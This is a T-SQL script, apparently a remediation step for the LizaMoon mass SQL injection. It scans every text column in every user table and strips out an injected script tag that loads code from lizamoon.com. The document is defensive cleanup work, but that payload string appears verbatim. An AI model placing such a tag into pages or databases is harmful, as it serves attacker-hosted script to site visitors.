MSSQL Find and Replace Liza Moon

###3. Find, CONVERT, AND REPLACE ALL string entries


SET NOCOUNT ON

DECLARE @stringToFind VARCHAR(100)
DECLARE @stringToReplace VARCHAR(100)
DECLARE @schema sysname
DECLARE @TABLE sysname
DECLARE @COUNT INT
DECLARE @sqlCommand VARCHAR(8000)
DECLARE @WHERE VARCHAR(8000)
DECLARE @columnName sysname
DECLARE @object_id INT

SET @stringToFind = '</title><script src=http://lizamoon.com/ur.php></script>'
SET @stringToReplace = ''

DECLARE TAB_CURSOR CURSOR  FOR
SELECT   B.NAME      AS SCHEMANAME,
A.NAME      AS TABLENAME,
A.OBJECT_ID
FROM     sys.objects A
INNER JOIN sys.schemas B
ON A.SCHEMA_ID = B.SCHEMA_ID
WHERE    TYPE = 'U'
ORDER BY 1

OPEN TAB_CURSOR

FETCH NEXT FROM TAB_CURSOR
INTO @schema,
@TABLE,
@object_id

WHILE @@FETCH_STATUS = 0
BEGIN
DECLARE COL_CURSOR CURSOR FOR
SELECT A.NAME
FROM   sys.COLUMNS A
INNER JOIN sys.types B
ON A.SYSTEM_TYPE_ID = B.SYSTEM_TYPE_ID
WHERE  OBJECT_ID = @object_id
AND IS_COMPUTED = 0
AND B.NAME IN ('char','nchar','nvarchar','varchar','text','ntext')

OPEN COL_CURSOR


FETCH NEXT FROM COL_CURSOR
INTO @columnName

WHILE @@FETCH_STATUS = 0
BEGIN
SET @sqlCommand = 'UPDATE ' + @schema + '.' + @TABLE + ' SET [' + @columnName + '] = REPLACE(convert(nvarchar(max),[' + @columnName + ']),''' + @stringToFind + ''',''' + @stringToReplace + ''')'

SET @WHERE = ' WHERE [' + @columnName + '] LIKE ''%' + @stringToFind + '%'''

EXEC( @sqlCommand + @WHERE)

SET @COUNT = @@ROWCOUNT

IF @COUNT > 0
BEGIN
PRINT @sqlCommand + @WHERE
PRINT 'Updated: ' + CONVERT(VARCHAR(10),@COUNT)
PRINT '----------------------------------------------------'
END

FETCH NEXT FROM COL_CURSOR
INTO @columnName
END

CLOSE COL_CURSOR
DEALLOCATE COL_CURSOR

FETCH NEXT FROM TAB_CURSOR
INTO @schema,
@TABLE,
@object_id
END

CLOSE TAB_CURSOR
DEALLOCATE TAB_CURSOR